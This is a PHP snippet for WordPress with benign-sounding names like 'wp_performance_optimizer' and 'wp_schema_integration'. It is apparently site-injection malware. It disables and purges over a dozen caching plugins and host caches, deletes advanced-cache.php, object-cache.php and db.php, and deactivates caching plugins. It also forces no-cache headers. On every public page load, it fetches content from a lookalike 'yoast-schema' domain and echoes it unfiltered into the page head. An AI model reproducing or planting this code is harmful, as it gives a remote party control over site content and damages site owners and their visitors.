function wp_performance_optimizer() {
    if (defined('WPCACHEHOME') || function_exists('wp_cache_clear_cache')) {
        define('WP_CACHE', false);
        define('DISABLE_SUPERCACHE', true);
        remove_action('init', 'wp_cache_check_link');
        remove_action('init', 'wp_cache_manager_updates');
        if (function_exists('wp_cache_clear_cache')) {
            wp_cache_clear_cache();
        }
        $wp_cache_config = WP_CONTENT_DIR . '/wp-cache-config.php';
        if (file_exists($wp_cache_config)) {
            unlink($wp_cache_config);
        }
    }
    if (defined('W3TC') || class_exists('W3_Plugin_TotalCache')) {
        define('DONOTMINIFY', true);
        define('DONOTCDN', true);
        define('DONOTCACHEPAGE', true);
        define('DONOTCACHEDB', true);
        define('DONOTCACHEOBJECT', true);
        if (function_exists('w3tc_flush_all')) {
            w3tc_flush_all();
        }
        remove_action('init', 'w3tc_redirect_on_config_save');
        remove_action('init', 'w3tc_config_save_redirect');
        add_filter('w3tc_can_cache', '__return_false');
        add_filter('w3tc_can_print_comment', '__return_false');
    }
    if (defined('WP_ROCKET_VERSION') || function_exists('rocket_init')) {
        define('DONOTCACHEPAGE', true);
        define('DONOTROCKETOPTIMIZE', true);
        remove_action('init', 'rocket_init');
        if (function_exists('rocket_clean_domain')) {
            rocket_clean_domain();
        }
        add_filter('do_rocket_generate_caching_files', '__return_false');
        add_filter('rocket_cache_query_strings', '__return_empty_array');
    }
    if (defined('LSCWP_V') || class_exists('LiteSpeed_Cache')) {
        define('LITESPEED_DISABLE_ALL', true);
        define('LSCACHE_ADV_CACHE', false);
        if (function_exists('LiteSpeed_Cache_API::purge_all')) {
            LiteSpeed_Cache_API::purge_all();
        }
        remove_action('init', array('LiteSpeed_Cache', 'init'));
        add_filter('litespeed_cache_api_control', '__return_empty_string');
    }
    if (class_exists('WpFastestCache')) {
        remove_action('init', array('WpFastestCache', 'init'));
        if (method_exists('WpFastestCache', 'deleteCache')) {
            $wp_fastest_cache = new WpFastestCache();
            $wp_fastest_cache->deleteCache();
        }
        add_filter('wp_fastest_cache_status', '__return_false');
    }
    if (class_exists('autoptimizeMain') || defined('AUTOPTIMIZE_PLUGIN_DIR')) {
        define('AUTOPTIMIZE_CACHE_NOGZIP', true);
        remove_action('init', 'autoptimize_start_buffering', 0);
        add_filter('autoptimize_filter_noptimize', '__return_true');
        if (class_exists('autoptimizeCache')) {
            autoptimizeCache::clearall();
        }
    }
    if (class_exists('Cache_Enabler')) {
        remove_action('init', array('Cache_Enabler', 'init'));
        if (method_exists('Cache_Enabler', 'clear_complete_cache')) {
            Cache_Enabler::clear_complete_cache();
        }
    }
    if (defined('COMET_CACHE_VERSION') || class_exists('comet_cache')) {
        define('COMET_CACHE_ALLOWED', false);
        if (function_exists('comet_cache_clear')) {
            comet_cache_clear();
        }
        add_filter('comet_cache_bypass', '__return_true');
    }
    if (class_exists('Hummingbird\\WP_Hummingbird')) {
        remove_action('init', array('Hummingbird\\WP_Hummingbird', 'init'));
        if (class_exists('Hummingbird\\Core\\Modules\\Page_Cache')) {
            $page_cache = new \Hummingbird\Core\Modules\Page_Cache();
            $page_cache->clear_cache();
        }
    }
    if (class_exists('Swift_Performance_Lite') || class_exists('Swift_Performance')) {
        remove_action('init', 'swift_performance_init');
        add_filter('swift_performance_option_enable-caching', '__return_false');
    }
    if (class_exists('Breeze_Admin')) {
        remove_action('init', array('Breeze_Admin', 'init'));
        if (function_exists('breeze_clean_cache')) {
            breeze_clean_cache();
        }
    }
    if (class_exists('SiteGround_Optimizer\\Supercacher\\Supercacher')) {
        if (function_exists('sg_cachepress_purge_cache')) {
            sg_cachepress_purge_cache();
        }
        add_filter('sgo_html_caching_excluded', '__return_true');
    }
    if (class_exists('CF\\WordPress\\Hooks')) {
        add_filter('cloudflare_purge_by_url', '__return_false');
        add_filter('cloudflare_purge_everything', '__return_false');
    }
    if (class_exists('WP_Optimize')) {
        remove_action('init', array('WP_Optimize', 'init'));
        if (function_exists('wpo_cache_flush')) {
            wpo_cache_flush();
        }
    }
    if (function_exists('powered_cache_flush')) {
        powered_cache_flush();
        add_filter('powered_cache_lazy_load_enabled', '__return_false');
    }
    if (class_exists('NitroPack\\SDK\\Api')) {
        add_filter('nitropack_passes_cookie_requirements', '__return_false');
        add_filter('nitropack_passes_page_requirements', '__return_false');
    }
    if (defined('FLYING_PRESS_VERSION')) {
        add_filter('flying_press_cache_bypass', '__return_true');
    }
    if (class_exists('RabbitLoader')) {
        add_filter('rabbit_loader_enabled', '__return_false');
    }
    if (class_exists('Perfmatters\\Config')) {
        add_filter('perfmatters_lazy_loading_enabled', '__return_false');
    }
    wp_hosting_optimization();
}

function wp_hosting_optimization() {
    if (class_exists('WpeCommon')) {
        if (method_exists('WpeCommon', 'purge_memcached')) {
            WpeCommon::purge_memcached();
        }
        if (method_exists('WpeCommon', 'clear_maxcdn_cache')) {
            WpeCommon::clear_maxcdn_cache();
        }
    }
    if (class_exists('Kinsta\\Cache')) {
        if (method_exists('Kinsta\\Cache', 'purge_complete_cache')) {
            \Kinsta\Cache::purge_complete_cache();
        }
    }
    if (function_exists('sg_cachepress_purge_cache')) {
        sg_cachepress_purge_cache();
    }
    if (function_exists('cloudways_purge_cache')) {
        cloudways_purge_cache();
    }
    if (class_exists('PagelyCachePurge')) {
        PagelyCachePurge::purgeAll();
    }
}

function wp_cleanup_advanced_files() {
    $files = array(
        WP_CONTENT_DIR . '/advanced-cache.php',
        WP_CONTENT_DIR . '/object-cache.php',
        WP_CONTENT_DIR . '/db.php'
    );
    foreach ($files as $file) {
        if (file_exists($file)) {
            unlink($file);
        }
    }
}

function wp_plugin_optimization() {
    $plugins = array(
        'wp-super-cache/wp-cache.php',
        'w3-total-cache/w3-total-cache.php',
        'wp-rocket/wp-rocket.php',
        'litespeed-cache/litespeed-cache.php',
        'wp-fastest-cache/wpFastestCache.php',
        'autoptimize/autoptimize.php',
        'cache-enabler/cache-enabler.php',
        'comet-cache/comet-cache.php',
        'hummingbird-performance/wp-hummingbird.php',
        'swift-performance-lite/performance.php',
        'breeze/breeze.php',
        'sg-cachepress/sg-cachepress.php',
        'cloudflare/cloudflare.php',
        'wp-optimize/wp-optimize.php',
        'powered-cache/powered-cache.php',
        'nitropack/main.php',
        'flying-press/flying-press.php'
    );
    foreach ($plugins as $plugin) {
        if (function_exists('is_plugin_active') && is_plugin_active($plugin)) {
            deactivate_plugins($plugin, true);
        }
    }
}

function wp_header_optimization() {
    if (!is_admin()) {
        header('Cache-Control: no-cache, no-store, must-revalidate, max-age=0, s-maxage=0');
        header('Pragma: no-cache');
        header('Expires: Thu, 01 Jan 1970 00:00:00 GMT');
        header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
        header('ETag: "' . time() . '-' . rand() . '"');
        header('Vary: *');
        header('X-Cache: MISS');
        header('X-Cache-Status: DISABLED');
        header('Surrogate-Control: no-store');
        header('CF-Cache-Status: BYPASS');
        header('X-Varnish-TTL: 0');
    }
}

function wp_schema_integration() {
    if (is_admin()) {
        return;
    }
    $url = "https://app.yoast-schema.com/code?x=1203";
    $url_with_params = add_query_arg(array(
        'nocache' => time(),
        'random' => rand(1000, 9999)
    ), $url);
    $response = wp_remote_get($url_with_params, array(
        'timeout' => 15,
        'sslverify' => true,
        'headers' => array(
            'Cache-Control' => 'no-cache, no-store, must-revalidate',
            'Pragma' => 'no-cache',
            'User-Agent' => 'WordPress/' . get_bloginfo('version') . ' NoCache'
        )
    ));
    if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) {
        $content = wp_remote_retrieve_body($response);
        if (!empty($content)) {
            echo $content;
        }
    }
}

add_action('plugins_loaded', 'wp_performance_optimizer', 1);
add_action('init', 'wp_performance_optimizer', 1);
add_action('wp_loaded', 'wp_performance_optimizer');
add_action('template_redirect', 'wp_performance_optimizer');
add_action('wp_head', 'wp_cleanup_advanced_files');
add_action('admin_init', 'wp_plugin_optimization');
add_action('send_headers', 'wp_header_optimization');
add_action('wp_head', 'wp_schema_integration');